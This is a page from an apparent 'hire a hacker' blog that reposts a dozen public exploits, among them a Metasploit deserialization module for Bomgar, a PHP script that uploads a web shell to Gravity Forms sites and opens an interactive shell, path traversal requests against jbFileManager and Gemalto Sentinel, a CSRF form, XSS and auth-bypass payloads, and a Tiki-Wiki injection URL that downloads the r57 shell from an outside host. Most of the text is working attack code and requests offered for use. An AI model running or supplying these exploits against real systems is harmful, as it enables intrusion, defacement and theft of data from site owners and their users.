Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863287831

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: jbFileManager - Path Traversal(view/add/delete)
# Date: 2016-06-15
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/ismiranda/jbFileManager
# Software Link: https://github.com/ismiranda/jbFileManager/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability Code

View dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/

Delete file/dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=del&file=/../../deltest

Add file/dir
POST /vul_test/jbFileManager/jbfm/jbfm.php?act=upload&path=/jbfm/../../ HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Type: multipart/form-data; boundary=---------------------------218453159691639901924454468
Content-Length: 232

-----------------------------218453159691639901924454468
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: text/plain

asdfjasldfjaslkfjl

-----------------------------218453159691639901924454468--

### Vulnerability Request/Response  -> View dir

View
GET /vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/jbFileManager/jbfm/
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; PHPSESSID=rk2mj70ukt2489t4hrrsj5mr33; jiathis_rdc=%7B%22http%3A//127.0.0.1/vul_test/KodExplore/index.php%22%3A%220%7C1465950328195%22%7D
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 08:53:39 GMT
Server: Apache/2.4.10 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 12955
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

[{"name":"libaudit.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/libaudit.conf","class":"undefined"},{"name":"qemu-ifup","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/qemu-ifup","class":"undefined"},{"name":"rsyslog.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rsyslog.conf","class":"undefined"},{"name":"smi.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/smi.conf","class":"undefined"},{"name":"inputrc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/inputrc","class":"undefined"},{"name":"shadow-","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/shadow-","class":"undefined"},{"name":"rpc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rpc","class":"undefined"},{"name":"host.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/host.conf","class":"undefined"},{"name":"issue","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/issue","class":"undefined"},{"name":"ltrace.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/ltrace.conf","class":"undefined"},{"name":"subuid","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/subuid","class":"undefined"},
...snip...
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize
    super(
      'Name'           => 'Bomgar Remote Support Unauthenticated Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the Bomgar Remote Support, which
        deserializes user provided data using PHP's `unserialize` method.
        By providing an specially crafted PHP serialized object, it is possible
        to write arbitrary data to arbitrary files. This effectively allows the
        execution of arbitrary PHP code in the context of the Bomgar Remote Support
        system user.

        To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
        It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
        and can be retrieved by an unauthenticated user at the end of the process
        of submitting a new issue via the 'Issue Submission' form.

        Versions before 15.1.1 are reported to be vulnerable.
      },
      'Author'         =>
        [
          'Markus Wulftange',
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'May 5 2015',
      'References'     =>
        [
          ['CWE', '94'],
          ['CWE', '502'],
          ['CVE', '2015-0935'],
          ['US-CERT-VU', '978652'],
          ['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
        ],
      'Privileged'     => false,
      'Targets'        =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'RPORT'      => 443,
          'SSL'        => true,
          'TARGETURI'  => '/session_complete',
        },
    )

    register_options(
      [
        OptString.new('LSID', [true, 'Logging Session ID']),
      ], self.class
    )
  end

  def check
    version = detect_version

    if version
      print_status("Version #{version} detected")
      if version < '15.1.1'
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    print_status("Version could not be detected")
    return Exploit::CheckCode::Unknown
  end

  def exploit
    execute_cmdstager

    handler
  end

  def execute_command(cmd, opts)
    tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"

    vprint_status("Uploading payload to #{tmpfile} ...")
    upload_php_file(tmpfile, generate_stager_php(cmd))

    vprint_status("Triggering payload in #{tmpfile} ...")
    execute_php_file(tmpfile)
  end

  def detect_version
    res = send_request_raw(
      'uri' => '/'
    )

    if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
      return $1
    end
  end

  def upload_php_file(filepath, data)
    send_pso(generate_upload_file_pso(filepath, data))
  end

  def execute_php_file(filepath)
    send_pso(generate_autoload_pso(filepath))
  end

  def send_pso(pso)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'lsid'    => datastore['LSID'],
        'survey'  => pso,
      }
    )

    if res
      if res.code != 200
        fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
      end
      if res.body.to_s =~ />ERROR: ([^<>]+)</
        fail_with(Failure::Unknown, "Error occured: #{$1}")
      end
    else
      fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
    end

    res
  end

  def generate_stager_php(cmd)
    "<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
  end

  def generate_upload_file_pso(filepath, data)
    log_file = PHPObject.new(
      "Log_file",
      {
        "_filename"   => filepath,
        "_lineFormat" => "",
        "_eol"        => data,
        "_append"     => false,
      }
    )
    logger = PHPObject.new(
      "Logger",
      {
        "\0Logger\0_logs" => [ log_file ]
      }
    )
    tracer = PHPObject.new(
      "Tracer",
      {
        "\0Tracer\0_log" => logger
      }
    )

    serialize(tracer)
  end

  def generate_autoload_pso(filepath)
    object = PHPObject.new(
      filepath.chomp('.php').gsub('/', '_'),
      {}
    )

    serialize(object)
  end

  class PHPObject
    attr_reader :name, :members

    def initialize(name, members)
      @name = name
      @members = members
    end
  end

  def serialize(value)
    case value.class.name.split('::').last
      when 'Array' then serialize_array_numeric(value)
      when 'Fixnum' then serialize_integer(value)
      when 'Float' then serialize_double(value)
      when 'Hash' then serialize_array_assoc(value)
      when 'Nil' then serialize_nil
      when 'PHPObject' then serialize_object(value)
      when 'String' then serialize_string(value)
      when 'TrueClass', 'FalseClass' then serialize_boolean(value)
      else raise "Value of #{value.class} cannot be serialized"
    end
  end

  def serialize_array_numeric(a)
    "a:#{a.size}:{" + a.each_with_index.map { |v, i|
      serialize_integer(i) + serialize(v)
    }.join + "}"
  end

  def serialize_array_assoc(h)
    "a:#{h.size}:{" + h.each_pair.map { |k, v|
      serialize_string(k) + serialize(v)
    }.join + "}"
  end

  def serialize_boolean(b)
    "b:#{b ? '1' : '0'};"
  end

  def serialize_double(f)
    "d:#{f};"
  end

  def serialize_integer(i)
    "i:#{i};"
  end

  def serialize_null
    "N;"
  end

  def serialize_object(o)
    "O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
  end

  def serialize_string(s)
    "s:#{s.size}:\"#{s}\";"
  end

end
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=780

Several functions in the GPU command buffer service interact with the GPU 
mailbox manager (gpu/command_buffer/service/mailbox_manager_impl.cc), passing a reference to shared memory as the mailbox argument.

MailboxManagerImpl does not expect this mailbox argument to be malleable in this way, and it is in several places copied and passed to various stl functions, resulting in unexpected behaviour from double-reads when an attacker modifies the mailbox name mid function.

The attached POC uses the GPU command 'ProduceTextureDirectCHROMIUMImmediate' to trigger a use-after-free but other commands that interact with the mailbox manager should also be vulnerable in a similar way.

error::Error GLES2DecoderImpl::HandleProduceTextureDirectCHROMIUMImmediate(
    uint32_t immediate_data_size,
    const void* cmd_data) {
  const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate& c =
      *static_cast<const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate*>(
          cmd_data);
  (void)c;
  GLuint texture = c.texture;
  GLenum target = static_cast<GLenum>(c.target);
  uint32_t data_size;
  if (!ComputeDataSize(1, sizeof(GLbyte), 64, &data_size)) {
    return error::kOutOfBounds;
  }
  if (data_size > immediate_data_size) {
    return error::kOutOfBounds;
  }
  
  // ** mailbox is a pointer into our shared memory buffer **
  const GLbyte* mailbox =
      GetImmediateDataAs<const GLbyte*>(c, data_size, immediate_data_size);
  if (!validators_->texture_bind_target.IsValid(target)) {
    LOCAL_SET_GL_ERROR_INVALID_ENUM("glProduceTextureDirectCHROMIUM", target,
                                    "target");
    return error::kNoError;
  }
  if (mailbox == NULL) {
    return error::kOutOfBounds;
  }
  DoProduceTextureDirectCHROMIUM(texture, target, mailbox);
  return error::kNoError;
}

void GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM(GLuint client_id,
    GLenum target, const GLbyte* data) {
  TRACE_EVENT2("gpu", "GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM",
      "context", logger_.GetLogPrefix(),
      "mailbox[0]", static_cast<unsigned char>(data[0]));

  ProduceTextureRef("glProduceTextureDirectCHROMIUM", GetTexture(client_id),
      target, data);
}

void GLES2DecoderImpl::ProduceTextureRef(const char* func_name,
                                         TextureRef* texture_ref,
                                         GLenum target,
                                         const GLbyte* data) {
  // ** mailbox is still a pointer to shared memory **
  const Mailbox& mailbox = *reinterpret_cast<const Mailbox*>(data);
  DLOG_IF(ERROR, !mailbox.Verify()) << func_name << " was passed a "
                                       "mailbox that was not generated by "
                                       "GenMailboxCHROMIUM.";

  if (!texture_ref) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "unknown texture for target");
    return;
  }

  Texture* produced = texture_manager()->Produce(texture_ref);
  if (!produced) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "invalid texture");
    return;
  }

  if (produced->target() != target) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "invalid target");
    return;
  }

  group_->mailbox_manager()->ProduceTexture(mailbox, produced);
}

void MailboxManagerImpl::ProduceTexture(const Mailbox& mailbox,
                                        Texture* texture) {
  MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
  if (it != mailbox_to_textures_.end()) {
    if (it->second->first == texture)
      return;
    TextureToMailboxMap::iterator texture_it = it->second;
    mailbox_to_textures_.erase(it);
    textures_to_mailboxes_.erase(texture_it);
  }
  InsertTexture(mailbox, texture);
}

void MailboxManagerImpl::InsertTexture(const Mailbox& mailbox,
                                       Texture* texture) {
  texture->SetMailboxManager(this);
  TextureToMailboxMap::iterator texture_it =
      textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
  // ** modify mailbox at this point **
  mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
  DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
}

We can leverage this for memory corruption in the GPU process by a slightly roundabout route; since each entry in the mailbox_to_textures_ has an iterator to an entry in textures_to_mailboxes_, and it is an expected invariant that both of these entries have the same mailbox name. By starting to create a mailbox named aaaa...aaaa and waiting until the first insert is complete before changing the mailbox name to AAAA...aaaa, then adding a second entry with the same texture reference but with the actual name aaaa...aaaa we get the following situation (example trace through the code from ProduceTexture with InsertTexture call inlined):

// first entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed
if (it != mailbox_to_textures_.end()) {} 
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it = 
  textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// modify      - mailbox.name = 'AAAA...aaaa'
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1

// second entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed (since 'AAAA...aaaa' != 'aaaa...aaaa')
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it = 
  textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// texture_it is the same as before; since there already exists the pair 
// 'aaaa...aaaa', t1* in textures_to_mailboxes, the insert returns an
// iterator to the existing element.
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// aaaa...aaaa, it -----------/
// so both entries in mailbox_to_textures_ have the same iterator.

// third entry - mailbox.name = 'aaaa...aaaa', texture = t2
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// this time we find an entry
if (it != mailbox_to_textures_.end()) {
  // t1 != t2
  if (it->second->first == texture)
    return;
  // so we remove the previous entry for aaaa...aaaa
  TextureToMailboxMap::iterator texture_it = it->second;
  mailbox_to_textures_.erase(it);
  textures_to_mailboxes_.erase(texture_it);
}

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> ??
// aaaa...aaaa, it ------------------------------> aaaa...aaaa, t2

Leaving mailbox AAAA...aaaa with a dangling reference to a no-longer valid iterator into textures_to_mailboxes_; (std::map and std::multimap iterators are invalidated by a call to erase() the element that they reference). The attached poc then calls some further methods on the mailbox to trigger a use of the dangling iterator that is detectable by ASAN.

Updated POC to work on the latest asan linux build, command buffer ids were out of date.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39961.zip
HireHackking 
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A

Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines

js/util.js
function alertWithoutLogin(){
    var username = getCookie("username");
    //alert(username);
    if(!!!username){
        alert('Sorry, permission denied. Please login first!');
    }
}

so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!

exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/

Demo request

GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1

From Eg-R1z with love
./Faris
HireHackking 
# Exploit Title: Roxy Fileman <= 1.4.4 Forbidden File Upload Vulnerability
# Google Dork: intitle:"Roxy file manager"
# Date: 15-06-2016
# Exploit Author: Tyrell Sassen
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.4-php
# Version: 1.4.4
# Tested on: PHP

1. Description

The Roxy File Manager has a configuration setting named FORBIDDEN_UPLOADS,
which keeps a list of forbidden file extensions that the application will
not allow to be uploaded. This configuration setting is also checked when
renaming an existing file to a new file extension.

It is possible to bypass this check and rename already uploaded files to
any extension, using the move function as this function does not perform
any checks.


2. Proof of Concept

http://host/fileman/php/movefile.php?f=/Upload/backdoor.jpg&n=/Upload/backdoor.php


The renamed file will now be accessible at http://host/Upload/backdoor.php
HireHackking 
<!--
# Exploit Title: CSRF Vulnerability on Slim CMS v0.1
# CMS Link: https://github.com/revuls/SlimCMS/releases
# Date: 16th June'2016
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://www.slimcms.nl/
# Software Link: https://github.com/revuls/SlimCMS/releases
# Version: Slim CMSv0.1
# Tested on: Windows 10,  XAMPP
# Twitter: https://twitter.com/m_avinash143


CSRF : Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.


Vulnerability Description : 
It is possible to change the password of the administrator and complete account can be take over using this.

Steps to Reproduce the same

1. Login into the account.
2. Navigate to http://localhost/SlimCMS/admin/config
3. Fill the details and intecept the request using BurpSuite

Request Intercepted
-------------------
-->

<html>
  <body>
    <form action="http://localhost/SlimCMS/api/config" method="POST">
      <input type="hidden" name="title" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="description" value="&#123;&#123;7&#42;7&#125;&#125;" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="theme" value="default" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;localhost&#47;SlimCMS" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
4. Send the link to victim and password will be changed for the admin user (Once the victim's clicks on the URL).
-->
HireHackking 
# Exploit Title: Tiki-Calendar-RCE
# Google Dork: inurl:tiki-calendar.php
# Date: 2015-12-16
# Exploit Author: Dany Ouellet
# Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
# Software Link: https://tiki.org/Download
# Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched)
# Tested on: Windows and Linux

Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the
vulnerability directly to vendor and a patch is now avalaible. So I release
the exploit. ;)

PoC:

Validate the vulnerability:

http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a='

Write or deface the site:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27

Execute a php shellcode:

http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27
HireHackking 

Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability


Vendor: Gemalto NV | SafeNet, Inc
Product web page: http://www.gemalto.com | http://www.safenet-inc.com
Affected version: 18.0.1.55505

Summary: The Sentinel License Manager enforces and manages licensing
in multi-user environment. It keeps track of all the licenses and
handles requests from network users who want to run your application,
granting authorization to the requesters to allow them to run the
application, and denying requests when all licenses are in use. It is
an integral component of the network licensing schemes that can be
implemented with Sentinel RMS, namely server-locked licenses, site
licenses and commuter licenses.

Desc: Input passed via the 'alpremove' and 'check_in_file' parameters
is not properly verified in '/_int_/action.html' and '/_int_/checkin_file.html'
before being used to delete and create files. This can be exploited to
arbitrarily delete sensitive information on a system and/or write files
via directory traversal attacks.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           HASP LM/18.00 (web server)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5330
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5330.php


26.04.2016

--



1. Unauthenticated file removal using POST or GET:
--------------------------------------------------
1st request renames the file to meaning_of_life.txt.bak
2nd request removes the file entirely from C:\
--------------------------------------------------------

POST /_int_/action.html HTTP/1.1
Host: localhost:1947

alpremove=/../../../../../../../meaning_of_life.txt

OR

1st req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1
2nd req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1



2. Unauthenticated file write:
------------------------------
PoC that creates license file in C:\
-------------------------------------

POST /_int_/checkin_file.html HTTP/1.1
Host: localhost:1947
Content-Length: 770
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:1947
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVlbofFpDmUw9CugB
Referer: http://localhost:1947/_int_/checkin.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: hasplmlang=_int_
Connection: close

------WebKitFormBoundaryVlbofFpDmUw9CugB
Content-Disposition: form-data; name="check_in_file"; filename="\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\jxzp"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8" ?>
<location>
 <license_manager id="\..\..\..\..\..\..\..\..\..\..\..\juuzzta" time="0">
  <version>18.0.1.55505</version>
  <hostname>LAB-ZSL</hostname>
  <name>LAB-ZSL</name>
  <host_fingerprint type="SL-AdminMode" crc="1439826437">
   MXhJSWPdmwJr2iAIUgAGKBk/7N4U2GbJjLA6hGC1VHDvrsA2W+8e2ChuAFYgF6ZG
   ttm6N6iupYkEEHzcQQrG1r0pIGBarRkAy0GR46nuTYFtm8iAMA5IBQoP82wKbLMl
   gUKpUABvAmhFimCbrXumJpsOA8ApTjaU12zdm0LkvsgTAPECCFTau
  </host_fingerprint>
 </license_manager>
</location>

------WebKitFormBoundaryVlbofFpDmUw9CugB--
HireHackking 
<?php
/****************************************************************************************************************************
   *
	* Exploit Title        : Gravity Forms [WP] - Arbitrary File Upload
	* Vulnerable Version(s): 1.8.19 (and below)
	* Write-Up             : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
	* Coded by             : Abk Khan [ an0nguy @ protonmail.ch ]
  *
*****************************************************************************************************************************/
error_reporting(0);

echo "
   _____                 _ _         ______    _ _     
  / ____|               (_) |       |  ____|  | | |    
 | |  __ _ __ __ ___   ___| |_ _   _| |__ __ _| | |___ 
 | | |_ | '__/ _` \ \ / / | __| | | |  __/ _` | | / __|
 | |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
  \_____|_|  \__,_| \_/ |_|\__|\__, |_|  \__,_|_|_|___/
                                __/ |                  
                               |___/     > an Exploiter by AnonGuy\n";
$domain    = (@$argv[1] == '' ? 'http://localhost/wordpress' : @$argv[1]);
$url       = "$domain/?gf_page=upload";
$shell     = "$domain/wp-content/_input_3_khan.php5";
$separator = '-------------------------------------------------------------------';

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?php system($_GET[0]); ?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, '"ok"') !== false) {
    echo "$separator\nShell at $shell\n$separator\nSpawning a 'No-Session' Shell . . . Done!\n$separator\n";
    while ($testCom != 'exit') {
		$user    = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
		$b0x     = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20hostname;%20echo%20'~'"), '~', '~'));
        echo "$user@$b0x:~$ ";
        $handle  = fopen("php://stdin", 'r');
        $testCom = trim(fgets($handle));
        fclose($handle);
        $comOut  = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
        echo $comOut;
    }
}
else {
	die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}

function get_string_between($string, $start, $end)
{
    # stolen from stackoverflow!
    $string = ' ' . $string;
    $ini    = strpos($string, $start);
    if ($ini == 0)
        return '';
    $ini += strlen($start);
    $len = strpos($string, $end, $ini) - $ini;
    return substr($string, $ini, $len);
}
?>
HireHackking 
Product: Solarwinds Virtualization Manager

Vendor: Solarwinds
Vulnerable Version(s): < 6.3.1
Tested Version: 6.3.1

Vendor Notification: April 25th, 2016
Vendor Patch Availability to Customers: June 1st, 2016
Public Disclosure: June 14th, 2016

Vulnerability Type: Security Misconfiguration
CVE Reference: CVE-2016-3643
Risk Level: High
CVSSv2 Base Score: 7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RL:W/RC:C/CR:M/IR:M/AR:M/MAV:L/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H)
Solution Status: Solution Available

Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

Depth Security discovered a vulnerability in Solarwinds Virtualization Manager appliance.
This attack requires a user to have an operating system shell on the vulnerable appliance.

1) Misconfiguration of sudo in Solarwinds Virtualization Manager: CVE-2016-3643

The vulnerability exists due to the miconfiguration of sudo in that it allows any local user to use sudo to execute commands as the superuser.
A local attacker can obtain root privileges to the operating system regardless of privilege level.

-----------------------------------------------------------------------------------------------

Solution:

Solarwinds has released a hotfix to remediate this vulnerability on existing installations.

This flaw as well as several others have been corrected and that release has been put into manufacturing for new appliances.

-----------------------------------------------------------------------------------------------

Proof of Concept:

The following is an example of the commands necessary for a low-privileged user to dump the contents of the "/etc/shadow" file by using sudo.

sudo cat /etc/passwd

-----------------------------------------------------------------------------------------------

References:

[1] Solarwinds Virtualization Manager- http://www.solarwinds.com/virtualization-manager - Solarwinds Virtualization Manager provides monitoring and remediation for virtualized environments.
HireHackking 
1.       Vulnerable Product Version:

*Blat v3.2.14*
Link: blat.net


2.       Vulnerability Information

Impact: Attacker may gain administrative access / can perform a DOS

Remotely Exploitable: No

Locally Exploitable: May be possible


3.       Product Details

An open source Windows (32 & 64 bit) command line SMTP mailer. We can use
it to automatically email logs, the contents of a html FORM, or whatever
else you need to send.

Since blat is lightweight, user friendly and simple (but awesome) many
vendors incorporates it with their Softwares. I have seen blat in many
commercial Softwares which use it for sending mails to its customers. And
Blat is awesome.


4.       Vulnerability Description

The Overflow vulnerability lies in the profile option parameter “–p”. When
a string of 236 bytes is send to blat, the EBP and EIP register gets
overwritten by the user input.

Reproduction:

*                blat.exe crashes with this command blat.exe –install
smtp.my.tld 127.0.0.1 –p <”A”*234+”B”*2>*


Feeding this command overwrites EBP with 0x00410041 and EIP with 0x00420042
(Please refer to the attached screen shot)


5.       Links

https://sourceforge.net/projects/blat/

https://groups.yahoo.com/neo/groups/blat/conversations/messages/13759
HireHackking 
# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download


Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.

The vulnerablility is triggered when an authenticated with user sufficient permissions, 
creates a script (small text document that the agents use for remembering lines)without 
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature 
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
 agent, it could very easily be used to infect other hosts on the Network.

POC:

http://localhost.com/vicidial_demo/admin.php?ADD=1111111

POST Data (script_name & script_text); 

ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT

Click 'Preview Script'

    <html>

    <head></head>
    <body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
        <font size="2" color="BLACK" face="ARIAL,HELVETICA">
            <font size="2" color="BLACK" face="ARIAL,HELVETICA">

                Preview Script: 1017

                <br></br>
                <table width="600">
                    <tbody>
                        <tr>
                            <td>
                                <center>
                                <script>

                                    alert('XSS!')

                                </script>
